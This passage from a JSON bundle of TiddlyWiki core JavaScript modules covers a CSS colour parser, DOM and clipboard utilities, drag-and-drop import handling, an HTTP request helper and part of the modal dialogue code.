i;\n}\n\nfunction clamp_css_float(f) {  // Clamp to float 0.0 .. 1.0.\n  return f < 0 ? 0 : f > 1 ? 1 : f;\n}\n\nfunction parse_css_int(str) {  // int or percentage.\n  if (str[str.length - 1] === '%')\n    return clamp_css_byte(parseFloat(str) / 100 * 255);\n  return clamp_css_byte(parseInt(str));\n}\n\nfunction parse_css_float(str) {  // float or percentage.\n  if (str[str.length - 1] === '%')\n    return clamp_css_float(parseFloat(str) / 100);\n  return clamp_css_float(parseFloat(str));\n}\n\nfunction css_hue_to_rgb(m1, m2, h) {\n  if (h < 0) h += 1;\n  else if (h > 1) h -= 1;\n\n  if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;\n  if (h * 2 < 1) return m2;\n  if (h * 3 < 2) return m1 + (m2 - m1) * (2/3 - h) * 6;\n  return m1;\n}\n\nfunction parseCSSColor(css_str) {\n  // Remove all whitespace, not compliant, but should just be more accepting.\n  var str = css_str.replace(/ /g, '').toLowerCase();\n\n  // Color keywords (and transparent) lookup.\n  if (str in kCSSColorTable) return kCSSColorTable[str].slice();  // dup.\n\n  // #abc and #abc123 syntax.\n  if (str[0] === '#') {\n    if (str.length === 4) {\n      var iv = parseInt(str.substr(1), 16);  // TODO(deanm): Stricter parsing.\n      if (!(iv >= 0 && iv <= 0xfff)) return null;  // Covers NaN.\n      return [((iv & 0xf00) >> 4) | ((iv & 0xf00) >> 8),\n              (iv & 0xf0) | ((iv & 0xf0) >> 4),\n              (iv & 0xf) | ((iv & 0xf) << 4),\n              1];\n    } else if (str.length === 7) {\n      var iv = parseInt(str.substr(1), 16);  // TODO(deanm): Stricter parsing.\n      if (!(iv >= 0 && iv <= 0xffffff)) return null;  // Covers NaN.\n      return [(iv & 0xff0000) >> 16,\n              (iv & 0xff00) >> 8,\n              iv & 0xff,\n              1];\n    }\n\n    return null;\n  }\n\n  var op = str.indexOf('('), ep = str.indexOf(')');\n  if (op !== -1 && ep + 1 === str.length) {\n    var fname = str.substr(0, op);\n    var params = str.substr(op+1, ep-(op+1)).split(',');\n    var alpha = 1;  // To allow case fallthrough.\n    switch (fname) {\n      case 'rgba':\n        if (params.length !== 4) return null;\n        alpha = parse_css_float(params.pop());\n        // Fall through.\n      case 'rgb':\n        if (params.length !== 3) return null;\n        return [parse_css_int(params[0]),\n                parse_css_int(params[1]),\n                parse_css_int(params[2]),\n                alpha];\n      case 'hsla':\n        if (params.length !== 4) return null;\n        alpha = parse_css_float(params.pop());\n        // Fall through.\n      case 'hsl':\n        if (params.length !== 3) return null;\n        var h = (((parseFloat(params[0]) % 360) + 360) % 360) / 360;  // 0 .. 1\n        // NOTE(deanm): According to the CSS spec s/l should only be\n        // percentages, but we don't bother and let float or percentage.\n        var s = parse_css_float(params[1]);\n        var l = parse_css_float(params[2]);\n        var m2 = l <= 0.5 ? l * (s + 1) : l + s - l * s;\n        var m1 = l * 2 - m2;\n        return [clamp_css_byte(css_hue_to_rgb(m1, m2, h+1/3) * 255),\n                clamp_css_byte(css_hue_to_rgb(m1, m2, h) * 255),\n                clamp_css_byte(css_hue_to_rgb(m1, m2, h-1/3) * 255),\n                alpha];\n      default:\n        return null;\n    }\n  }\n\n  return null;\n}\n\ntry { exports.parseCSSColor = parseCSSColor } catch(e) { }\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom.js": {
            "title": "$:/core/modules/utils/dom.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom.js\ntype: application/javascript\nmodule-type: utils\n\nVarious static DOM-related utility functions.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nDetermines whether element 'a' contains element 'b'\nCode thanks to John Resig, http://ejohn.org/blog/comparing-document-position/\n*/\nexports.domContains = function(a,b) {\n\treturn a.contains ?\n\t\ta !== b && a.contains(b) :\n\t\t!!(a.compareDocumentPosition(b) & 16);\n};\n\nexports.removeChildren = function(node) {\n\twhile(node.hasChildNodes()) {\n\t\tnode.removeChild(node.firstChild);\n\t}\n};\n\nexports.hasClass = function(el,className) {\n\treturn el && el.className && el.className.toString().split(\" \").indexOf(className) !== -1;\n};\n\nexports.addClass = function(el,className) {\n\tvar c = el.className.split(\" \");\n\tif(c.indexOf(className) === -1) {\n\t\tc.push(className);\n\t}\n\tel.className = c.join(\" \");\n};\n\nexports.removeClass = function(el,className) {\n\tvar c = el.className.split(\" \"),\n\t\tp = c.indexOf(className);\n\tif(p !== -1) {\n\t\tc.splice(p,1);\n\t\tel.className = c.join(\" \");\n\t}\n};\n\nexports.toggleClass = function(el,className,status) {\n\tif(status === undefined) {\n\t\tstatus = !exports.hasClass(el,className);\n\t}\n\tif(status) {\n\t\texports.addClass(el,className);\n\t} else {\n\t\texports.removeClass(el,className);\n\t}\n};\n\n/*\nGet the first parent element that has scrollbars or use the body as fallback.\n*/\nexports.getScrollContainer = function(el) {\n\tvar doc = el.ownerDocument;\n\twhile(el.parentNode) {\t\n\t\tel = el.parentNode;\n\t\tif(el.scrollTop) {\n\t\t\treturn el;\n\t\t}\n\t}\n\treturn doc.body;\n};\n\n/*\nGet the scroll position of the viewport\nReturns:\n\t{\n\t\tx: horizontal scroll position in pixels,\n\t\ty: vertical scroll position in pixels\n\t}\n*/\nexports.getScrollPosition = function(srcWindow) {\n\tvar scrollWindow = srcWindow || window;\n\tif(\"scrollX\" in scrollWindow) {\n\t\treturn {x: scrollWindow.scrollX, y: scrollWindow.scrollY};\n\t} else {\n\t\treturn {x: scrollWindow.document.documentElement.scrollLeft, y: scrollWindow.document.documentElement.scrollTop};\n\t}\n};\n\n/*\nAdjust the height of a textarea to fit its content, preserving scroll position, and return the height\n*/\nexports.resizeTextAreaToFit = function(domNode,minHeight) {\n\t// Get the scroll container and register the current scroll position\n\tvar container = $tw.utils.getScrollContainer(domNode),\n\t\tscrollTop = container.scrollTop;\n    // Measure the specified minimum height\n\tdomNode.style.height = minHeight;\n\tvar measuredHeight = domNode.offsetHeight || parseInt(minHeight,10);\n\t// Set its height to auto so that it snaps to the correct height\n\tdomNode.style.height = \"auto\";\n\t// Calculate the revised height\n\tvar newHeight = Math.max(domNode.scrollHeight + domNode.offsetHeight - domNode.clientHeight,measuredHeight);\n\t// Only try to change the height if it has changed\n\tif(newHeight !== domNode.offsetHeight) {\n\t\tdomNode.style.height = newHeight + \"px\";\n\t\t// Make sure that the dimensions of the textarea are recalculated\n\t\t$tw.utils.forceLayout(domNode);\n\t\t// Set the container to the position we registered at the beginning\n\t\tcontainer.scrollTop = scrollTop;\n\t}\n\treturn newHeight;\n};\n\n/*\nGets the bounding rectangle of an element in absolute page coordinates\n*/\nexports.getBoundingPageRect = function(element) {\n\tvar scrollPos = $tw.utils.getScrollPosition(element.ownerDocument.defaultView),\n\t\tclientRect = element.getBoundingClientRect();\n\treturn {\n\t\tleft: clientRect.left + scrollPos.x,\n\t\twidth: clientRect.width,\n\t\tright: clientRect.right + scrollPos.x,\n\t\ttop: clientRect.top + scrollPos.y,\n\t\theight: clientRect.height,\n\t\tbottom: clientRect.bottom + scrollPos.y\n\t};\n};\n\n/*\nSaves a named password in the browser\n*/\nexports.savePassword = function(name,password) {\n\ttry {\n\t\tif(window.localStorage) {\n\t\t\tlocalStorage.setItem(\"tw5-password-\" + name,password);\n\t\t}\n\t} catch(e) {\n\t}\n};\n\n/*\nRetrieve a named password from the browser\n*/\nexports.getPassword = function(name) {\n\ttry {\n\t\treturn window.localStorage ? localStorage.getItem(\"tw5-password-\" + name) : \"\";\n\t} catch(e) {\n\t\treturn \"\";\n\t}\n};\n\n/*\nForce layout of a dom node and its descendents\n*/\nexports.forceLayout = function(element) {\n\tvar dummy = element.offsetWidth;\n};\n\n/*\nPulse an element for debugging purposes\n*/\nexports.pulseElement = function(element) {\n\t// Event handler to remove the class at the end\n\telement.addEventListener($tw.browser.animationEnd,function handler(event) {\n\t\telement.removeEventListener($tw.browser.animationEnd,handler,false);\n\t\t$tw.utils.removeClass(element,\"pulse\");\n\t},false);\n\t// Apply the pulse class\n\t$tw.utils.removeClass(element,\"pulse\");\n\t$tw.utils.forceLayout(element);\n\t$tw.utils.addClass(element,\"pulse\");\n};\n\n/*\nAttach specified event handlers to a DOM node\ndomNode: where to attach the event handlers\nevents: array of event handlers to be added (see below)\nEach entry in the events array is an object with these properties:\nhandlerFunction: optional event handler function\nhandlerObject: optional event handler object\nhandlerMethod: optionally specifies object handler method name (defaults to `handleEvent`)\n*/\nexports.addEventListeners = function(domNode,events) {\n\t$tw.utils.each(events,function(eventInfo) {\n\t\tvar handler;\n\t\tif(eventInfo.handlerFunction) {\n\t\t\thandler = eventInfo.handlerFunction;\n\t\t} else if(eventInfo.handlerObject) {\n\t\t\tif(eventInfo.handlerMethod) {\n\t\t\t\thandler = function(event) {\n\t\t\t\t\teventInfo.handlerObject[eventInfo.handlerMethod].call(eventInfo.handlerObject,event);\n\t\t\t\t};\t\n\t\t\t} else {\n\t\t\t\thandler = eventInfo.handlerObject;\n\t\t\t}\n\t\t}\n\t\tdomNode.addEventListener(eventInfo.name,handler,false);\n\t});\n};\n\n/*\nGet the computed styles applied to an element as an array of strings of individual CSS properties\n*/\nexports.getComputedStyles = function(domNode) {\n\tvar textAreaStyles = window.getComputedStyle(domNode,null),\n\t\tstyleDefs = [],\n\t\tname;\n\tfor(var t=0; t<textAreaStyles.length; t++) {\n\t\tname = textAreaStyles[t];\n\t\tstyleDefs.push(name + \": \" + textAreaStyles.getPropertyValue(name) + \";\");\n\t}\n\treturn styleDefs;\n};\n\n/*\nApply a set of styles passed as an array of strings of individual CSS properties\n*/\nexports.setStyles = function(domNode,styleDefs) {\n\tdomNode.style.cssText = styleDefs.join(\"\");\n};\n\n/*\nCopy the computed styles from a source element to a destination element\n*/\nexports.copyStyles = function(srcDomNode,dstDomNode) {\n\t$tw.utils.setStyles(dstDomNode,$tw.utils.getComputedStyles(srcDomNode));\n};\n\n/*\nCopy plain text to the clipboard on browsers that support it\n*/\nexports.copyToClipboard = function(text,options) {\n\toptions = options || {};\n\tvar textArea = document.createElement(\"textarea\");\n\ttextArea.style.position = \"fixed\";\n\ttextArea.style.top = 0;\n\ttextArea.style.left = 0;\n\ttextArea.style.fontSize = \"12pt\";\n\ttextArea.style.width = \"2em\";\n\ttextArea.style.height = \"2em\";\n\ttextArea.style.padding = 0;\n\ttextArea.style.border = \"none\";\n\ttextArea.style.outline = \"none\";\n\ttextArea.style.boxShadow = \"none\";\n\ttextArea.style.background = \"transparent\";\n\ttextArea.value = text;\n\tdocument.body.appendChild(textArea);\n\ttextArea.select();\n\ttextArea.setSelectionRange(0,text.length);\n\tvar succeeded = false;\n\ttry {\n\t\tsucceeded = document.execCommand(\"copy\");\n\t} catch (err) {\n\t}\n\tif(!options.doNotNotify) {\n\t\t$tw.notifier.display(succeeded ? \"$:/language/Notifications/CopiedToClipboard/Succeeded\" : \"$:/language/Notifications/CopiedToClipboard/Failed\");\n\t}\n\tdocument.body.removeChild(textArea);\n};\n\nexports.getLocationPath = function() {\n\treturn window.location.toString().split(\"#\")[0];\n};\n\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/dragndrop.js": {
            "title": "$:/core/modules/utils/dom/dragndrop.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/dragndrop.js\ntype: application/javascript\nmodule-type: utils\n\nBrowser data transfer utilities, used with the clipboard and drag and drop\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nOptions:\n\ndomNode: dom node to make draggable\ndragImageType: \"pill\" or \"dom\"\ndragTiddlerFn: optional function to retrieve the title of tiddler to drag\ndragFilterFn: optional function to retreive the filter defining a list of tiddlers to drag\nwidget: widget to use as the contect for the filter\n*/\nexports.makeDraggable = function(options) {\n\tvar dragImageType = options.dragImageType || \"dom\",\n\t\tdragImage,\n\t\tdomNode = options.domNode;\n\t// Make the dom node draggable (not necessary for anchor tags)\n\tif((domNode.tagName || \"\").toLowerCase() !== \"a\") {\n\t\tdomNode.setAttribute(\"draggable\",\"true\");\t\t\n\t}\n\t// Add event handlers\n\t$tw.utils.addEventListeners(domNode,[\n\t\t{name: \"dragstart\", handlerFunction: function(event) {\n\t\t\tif(event.dataTransfer === undefined) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// Collect the tiddlers being dragged\n\t\t\tvar dragTiddler = options.dragTiddlerFn && options.dragTiddlerFn(),\n\t\t\t\tdragFilter = options.dragFilterFn && options.dragFilterFn(),\n\t\t\t\ttitles = dragTiddler ? [dragTiddler] : [],\n\t\t\t    \tstartActions = options.startActions;\n\t\t\tif(dragFilter) {\n\t\t\t\ttitles.push.apply(titles,options.widget.wiki.filterTiddlers(dragFilter,options.widget));\n\t\t\t}\n\t\t\tvar titleString = $tw.utils.stringifyList(titles);\n\t\t\t// Check that we've something to drag\n\t\t\tif(titles.length > 0 && event.target === domNode) {\n\t\t\t\t// Mark the drag in progress\n\t\t\t\t$tw.dragInProgress = domNode;\n\t\t\t\t// Set the dragging class on the element being dragged\n\t\t\t\t$tw.utils.addClass(event.target,\"tc-dragging\");\n\t\t\t\t// Invoke drag-start actions if given\n\t\t\t\tif(startActions !== undefined) {\n\t\t\t\t\toptions.widget.invokeActionString(startActions,options.widget,event,{actionTiddler: titleString});\n\t\t\t\t}\n\t\t\t\t// Create the drag image elements\n\t\t\t\tdragImage = options.widget.document.createElement(\"div\");\n\t\t\t\tdragImage.className = \"tc-tiddler-dragger\";\n\t\t\t\tvar inner = options.widget.document.createElement(\"div\");\n\t\t\t\tinner.className = \"tc-tiddler-dragger-inner\";\n\t\t\t\tinner.appendChild(options.widget.document.createTextNode(\n\t\t\t\t\ttitles.length === 1 ? \n\t\t\t\t\t\ttitles[0] :\n\t\t\t\t\t\ttitles.length + \" tiddlers\"\n\t\t\t\t));\n\t\t\t\tdragImage.appendChild(inner);\n\t\t\t\toptions.widget.document.body.appendChild(dragImage);\n\t\t\t\t// Set the data transfer properties\n\t\t\t\tvar dataTransfer = event.dataTransfer;\n\t\t\t\t// Set up the image\n\t\t\t\tdataTransfer.effectAllowed = \"all\";\n\t\t\t\tif(dataTransfer.setDragImage) {\n\t\t\t\t\tif(dragImageType === \"pill\") {\n\t\t\t\t\t\tdataTransfer.setDragImage(dragImage.firstChild,-16,-16);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar r = domNode.getBoundingClientRect();\n\t\t\t\t\t\tdataTransfer.setDragImage(domNode,event.clientX-r.left,event.clientY-r.top);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Set up the data transfer\n\t\t\t\tif(dataTransfer.clearData) {\n\t\t\t\t\tdataTransfer.clearData();\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\tvar jsonData = [];\n\t\t\t\tif(titles.length > 1) {\n\t\t\t\t\ttitles.forEach(function(title) {\n\t\t\t\t\t\tjsonData.push(options.widget.wiki.getTiddlerAsJson(title));\n\t\t\t\t\t});\n\t\t\t\t\tjsonData = \"[\" + jsonData.join(\",\") + \"]\";\n\t\t\t\t} else {\n\t\t\t\t\tjsonData = options.widget.wiki.getTiddlerAsJson(titles[0]);\n\t\t\t\t}\n\t\t\t\t// IE doesn't like these content types\n\t\t\t\tif(!$tw.browser.isIE) {\n\t\t\t\t\tdataTransfer.setData(\"text/vnd.tiddler\",jsonData);\n\t\t\t\t\tdataTransfer.setData(\"text/plain\",titleString);\n\t\t\t\t\tdataTransfer.setData(\"text/x-moz-url\",\"data:text/vnd.tiddler,\" + encodeURIComponent(jsonData));\n\t\t\t\t}\n\t\t\t\tdataTransfer.setData(\"URL\",\"data:text/vnd.tiddler,\" + encodeURIComponent(jsonData));\n\t\t\t\tdataTransfer.setData(\"Text\",titleString);\n\t\t\t\tevent.stopPropagation();\n\t\t\t}\n\t\t\treturn false;\n\t\t}},\n\t\t{name: \"dragend\", handlerFunction: function(event) {\n\t\t\tif(event.target === domNode) {\n\t\t\t\t// Collect the tiddlers being dragged\n\t\t\t\tvar dragTiddler = options.dragTiddlerFn && options.dragTiddlerFn(),\n\t\t\t\t\tdragFilter = options.dragFilterFn && options.dragFilterFn(),\n\t\t\t\t\ttitles = dragTiddler ? [dragTiddler] : [],\n\t\t\t    \t\tendActions = options.endActions;\n\t\t\t\tif(dragFilter) {\n\t\t\t\t\ttitles.push.apply(titles,options.widget.wiki.filterTiddlers(dragFilter,options.widget));\n\t\t\t\t}\n\t\t\t\tvar titleString = $tw.utils.stringifyList(titles);\n\t\t\t\t$tw.dragInProgress = null;\n\t\t\t\t// Invoke drag-end actions if given\n\t\t\t\tif(endActions !== undefined) {\n\t\t\t\t\toptions.widget.invokeActionString(endActions,options.widget,event,{actionTiddler: titleString});\n\t\t\t\t}\n\t\t\t\t// Remove the dragging class on the element being dragged\n\t\t\t\t$tw.utils.removeClass(event.target,\"tc-dragging\");\n\t\t\t\t// Delete the drag image element\n\t\t\t\tif(dragImage) {\n\t\t\t\t\tdragImage.parentNode.removeChild(dragImage);\n\t\t\t\t\tdragImage = null;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t}}\n\t]);\n};\n\nexports.importDataTransfer = function(dataTransfer,fallbackTitle,callback) {\n\t// Try each provided data type in turn\n\tif($tw.log.IMPORT) {\n\t\tconsole.log(\"Available data types:\");\n\t\tfor(var type=0; type<dataTransfer.types.length; type++) {\n\t\t\tconsole.log(\"type\",dataTransfer.types[type],dataTransfer.getData(dataTransfer.types[type]))\n\t\t}\n\t}\n\tfor(var t=0; t<importDataTypes.length; t++) {\n\t\tif(!$tw.browser.isIE || importDataTypes[t].IECompatible) {\n\t\t\t// Get the data\n\t\t\tvar dataType = importDataTypes[t];\n\t\t\t\tvar data = dataTransfer.getData(dataType.type);\n\t\t\t// Import the tiddlers in the data\n\t\t\tif(data !== \"\" && data !== null) {\n\t\t\t\tif($tw.log.IMPORT) {\n\t\t\t\t\tconsole.log(\"Importing data type '\" + dataType.type + \"', data: '\" + data + \"'\")\n\t\t\t\t}\n\t\t\t\tvar tiddlerFields = dataType.toTiddlerFieldsArray(data,fallbackTitle);\n\t\t\t\tcallback(tiddlerFields);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n};\n\nvar importDataTypes = [\n\t{type: \"text/vnd.tiddler\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn parseJSONTiddlers(data,fallbackTitle);\n\t}},\n\t{type: \"URL\", IECompatible: true, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\t// Check for tiddler data URI\n\t\tvar match = decodeURIComponent(data).match(/^data\\:text\\/vnd\\.tiddler,(.*)/i);\n\t\tif(match) {\n\t\t\treturn parseJSONTiddlers(match[1],fallbackTitle);\n\t\t} else {\n\t\t\treturn [{title: fallbackTitle, text: data}]; // As URL string\n\t\t}\n\t}},\n\t{type: \"text/x-moz-url\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\t// Check for tiddler data URI\n\t\tvar match = decodeURIComponent(data).match(/^data\\:text\\/vnd\\.tiddler,(.*)/i);\n\t\tif(match) {\n\t\t\treturn parseJSONTiddlers(match[1],fallbackTitle);\n\t\t} else {\n\t\t\treturn [{title: fallbackTitle, text: data}]; // As URL string\n\t\t}\n\t}},\n\t{type: \"text/html\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn [{title: fallbackTitle, text: data}];\n\t}},\n\t{type: \"text/plain\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn [{title: fallbackTitle, text: data}];\n\t}},\n\t{type: \"Text\", IECompatible: true, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn [{title: fallbackTitle, text: data}];\n\t}},\n\t{type: \"text/uri-list\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn [{title: fallbackTitle, text: data}];\n\t}}\n];\n\nfunction parseJSONTiddlers(json,fallbackTitle) {\n\tvar data = JSON.parse(json);\n\tif(!$tw.utils.isArray(data)) {\n\t\tdata = [data];\n\t}\n\tdata.forEach(function(fields) {\n\t\tfields.title = fields.title || fallbackTitle;\n\t});\n\treturn data;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/http.js": {
            "title": "$:/core/modules/utils/dom/http.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/http.js\ntype: application/javascript\nmodule-type: utils\n\nBrowser HTTP support\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nA quick and dirty HTTP function; to be refactored later. Options are:\n\turl: URL to retrieve\n\theaders: hashmap of headers to send\n\ttype: GET, PUT, POST etc\n\tcallback: function invoked with (err,data)\n\treturnProp: string name of the property to return as first argument of callback\n*/\nexports.httpRequest = function(options) {\n\tvar type = options.type || \"GET\",\n\t\theaders = options.headers || {accept: \"application/json\"},\n\t\treturnProp = options.returnProp || \"responseText\",\n\t\trequest = new XMLHttpRequest(),\n\t\tdata = \"\",\n\t\tf,results;\n\t// Massage the data hashmap into a string\n\tif(options.data) {\n\t\tif(typeof options.data === \"string\") { // Already a string\n\t\t\tdata = options.data;\n\t\t} else { // A hashmap of strings\n\t\t\tresults = [];\n\t\t\t$tw.utils.each(options.data,function(dataItem,dataItemTitle) {\n\t\t\t\tresults.push(dataItemTitle + \"=\" + encodeURIComponent(dataItem));\n\t\t\t});\n\t\t\tdata = results.join(\"&\");\n\t\t}\n\t}\n\t// Set up the state change handler\n\trequest.onreadystatechange = function() {\n\t\tif(this.readyState === 4) {\n\t\t\tif(this.status === 200 || this.status === 201 || this.status === 204) {\n\t\t\t\t// Success!\n\t\t\t\toptions.callback(null,this[returnProp],this);\n\t\t\t\treturn;\n\t\t\t}\n\t\t// Something went wrong\n\t\toptions.callback($tw.language.getString(\"Error/XMLHttpRequest\") + \": \" + this.status);\n\t\t}\n\t};\n\t// Make the request\n\trequest.open(type,options.url,true);\n\tif(headers) {\n\t\t$tw.utils.each(headers,function(header,headerTitle,object) {\n\t\t\trequest.setRequestHeader(headerTitle,header);\n\t\t});\n\t}\n\tif(data && !$tw.utils.hop(headers,\"Content-type\")) {\n\t\trequest.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded; charset=UTF-8\");\n\t}\n\tif(!$tw.utils.hop(headers,\"X-Requested-With\")) {\n\t\trequest.setRequestHeader(\"X-Requested-With\",\"TiddlyWiki\");\n\t}\n\ttry {\n\t\trequest.send(data);\n\t} catch(e) {\n\t\toptions.callback(e);\n\t}\n\treturn request;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/keyboard.js": {
            "title": "$:/core/modules/utils/dom/keyboard.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/keyboard.js\ntype: application/javascript\nmodule-type: utils\n\nKeyboard utilities; now deprecated. Instead, use $tw.keyboardManager\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n[\"parseKeyDescriptor\",\"checkKeyDescriptor\"].forEach(function(method) {\n\texports[method] = function() {\n\t\tif($tw.keyboardManager) {\n\t\t\treturn $tw.keyboardManager[method].apply($tw.keyboardManager,Array.prototype.slice.call(arguments,0));\n\t\t} else {\n\t\t\treturn null\n\t\t}\n\t};\n});\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/modal.js": {
            "title": "$:/core/modules/utils/dom/modal.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/modal.js\ntype: application/javascript\nmodule-type: utils\n\nModal message mechanism\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nvar Modal = function(wiki) {\n\tthis.wiki = wiki;\n\tthis.modalCount = 0;\n};\n\n/*\nDisplay a modal dialogue\n\ttitle: Title of tiddler to display\n\toptions: see below\nOptions include:\n\tdownloadLink: Text of a big download link to include\n*/\nModal.prototype.display = function(title,options) {\n\toptions = options || {};\n\tthis.srcDocument = options.variables && (options.variables.rootwindow === \"true\" ||\n\t\t\t\toptions.variables.rootwindow === \"yes\") ? document :\n\t\t\t\t(options.event.event ? options.event.event.target.ownerDocument : document);\n\tthis.srcWindow = this.srcDocument.defaultView;\n\tvar self = this,\n\t\trefreshHandler,\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\ttiddler = this.wiki.getTiddler(title);\n\t// Don't do anything if the tiddler doesn't exist\n\tif(!tiddler) {\n\t\treturn;\n\t}\n\t// Create the variables\n\tvar variables = $tw.utils.extend({currentTiddler: title},options.variables);\n\t// Create the wrapper divs\n\tvar wrapper = this.srcDocument.createElement(\"div\"),\n\t\tmodalBackdrop = this.srcDocument.createElement(\"div\"),\n\t\tmodalWrapper = this.srcDocument.createElement(\"div\"),\n\t\tmodalHeader = this.srcDocument.createElement(\"div\"),\n\t\theaderTitle = this.srcDocument.createElement(\"h3\"),\n\t\tmodalBody = this.srcDocument.createElement(\"div\"),\n\t\tmodalLink = this.srcDocument.createElement(\"a\"),\n\t\tmodalFooter = this.srcDocument.createElement(\"div\"),\n\t\tmodalFooterHelp = this.srcDocument.createElement(\"span\"),\n\t\tmodalFooterButtons = this.srcDocument.createElement(\"span\");\n\t// Up the modal count and adjust the body class\n\tthis.modalCount++;\n\tthis.adjustPageClass();\n\t// Add classes\n\t$tw.utils.addClass(wrapper,\"tc-modal-wrapper\");\n\t$tw.utils.addClass(modalBackdrop,\"tc-modal-backdrop\");\n\t$tw.utils.addClass(modalWrapper,\"tc-modal\");\n\t$tw.utils.addClass(modalHeader,\"tc-modal-header\");\n\t$tw.utils.addClass(modalBody,\"tc-modal-body\");\n\t$tw.utils.addClass(modalFooter,\"tc-modal-footer\");\n\t// Join them together\n\twrapper.appendChild(modalBackdrop);\n\twrapper.appendChild(modalWrapper);\n\tmodalHeader.appendChild(headerTitle);\n\tmodalWrapper.appendChild(modalHeader);\n\tmodalWrapper.appendChild(modalBody);\n\tmodalFooter.appendChild(modalFooterHelp);\n\tmodalFooter.appendChild(modalFooterButtons);\n\tmodalWrapper.appendChild(modalFooter);\n\t// Render the title of the message\n\tvar headerWidgetNode = this.wiki.makeTranscludeWidget(title,{\n\t\tfield: \"subtitle\",\n\t\tmode: \"inline\",\n\t\tchildren: [{\n\t\t\ttype: \"text\",\n\t\t\tattributes: {\n\t\t\t\ttext: {\n\t\t\t\t\ttype: \"string\",\n\t\t\t\t\tvalue: title\n\t\t}}}],\n\t\tparentWidget: $tw.rootWidget,\n\t\tdocument: this.srcDocument,\n\t\tvariables: variables,\n\t\timportPageMacros: true\n\t});\n\theaderWidgetNode.render(headerTitle,null);\n\t// Render the body of the message\n\tvar bodyWidgetNode = this.wiki.makeTranscludeWidget(title,{\n\t\tparentWidget: $tw.rootWidget,\n\t\tdocument: this.srcDocument,\n\t\tvariables: variables,\n\t\timportPageMacros: true\n\t});\n\tbodyWidgetNode.render(modalBody,null);\n\t// Setup the link if present\n\tif(options.downloadLink) {\n\t\tmodalLink.href = options.downloadLink;\n\t\tmodalLink.appendChild(this.srcDocument.createTextNode(\"Right-click to save changes\"));\n\t\tmodalBody.appendChild(modalLink);\n\t}\n\t// Render the footer of the message\n\tif(tiddler && tiddler.fields && tiddler.fields.help) {\n\t\tvar link = this.srcDocument.createElement(\"a\");\n\t\tlink.setAttribute(\"href\",tiddler.fields.help);\n\t\tlink.setAttribute(\"target\",\"_blank\");\n\t\tlink.setAttribute(\"rel\",\"noopener noreferrer\");\n\t\tlink.appendChild(this.srcDocument.createTextNode(\"Help\"));\n\t\tmodalFooterHelp.appendChild(link);\n\t\tmodalFooterHelp.style.float = \"left\";\n\t}\n\tvar footerWidgetNode = this.wiki.makeTranscludeWidget(title,{\n\t\tfield: \"footer\",\n\t\tmode: \"inline\",\n\t\tchildren: [{\n\t\t\ttype: \"button\",\n\t\t\tattributes: {\n\t\t\t\tmessage: {\n\t\t\t\t\ttype: \"string\",\n\t\t\t\t\tvalue: \"tm-close-tiddler\"\n\t\t\t\t}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\",\n\t\t\t\tattributes: {\n\t\t\t\t\ttext: {\n\t\t\t\t\t\ttype: \"string\",\n\t\t\t\t\t\tvalue: $tw.language.getString(\"Buttons/Close/Caption\")\n\t\t\t}}}\n\t\t]}],\n\t\tparentWidget: $tw.rootWidget,\n\t\tdocument: this.srcDocument,\n\t\tvariables: variables,\n\t\timportPageMacros: true\n\t});\n\tfooterWidgetNode.render(modalFooterButtons,null);\n\t// Set up the refresh handler\n\trefreshHandler = function(changes) {\n\t\theaderWidgetNode.refresh(changes,modalHeader,null);\n\t\tbodyWidgetNode.refresh(changes,modalBody,null);\n\t\tfooterWidgetNode.refresh(changes,modalFooterButtons,null);\n\t};\n\tthis.wiki.addEventListener(\"change\",refreshHandler);\n\t// Add the close event handler\n\tvar closeHandler = function(event) {\n\t\t// Remove our refresh handler\n\t\tself.wiki.removeEventListener(\"change\",refreshHandler);\n\t\t// Decrease the modal count and adjust the body class\n\t\tself.modalCount--;\n\t\tself.adjustPageClass();\n\t\t// Force layout and animate the modal message away\n\t\t$tw.utils.forceLayout(modalBackdrop);\n\t\t$tw.utils.forceLayout(modalWrapper);\n\t\t$tw.utils.setStyle(modalBackdrop,[\n\t\t\t{opacity: \"0\"}\n\t\t]);\n\t\t$tw.utils.setStyle(modalWrapper,[\n\t\t\t{transform: \"translateY(\" + 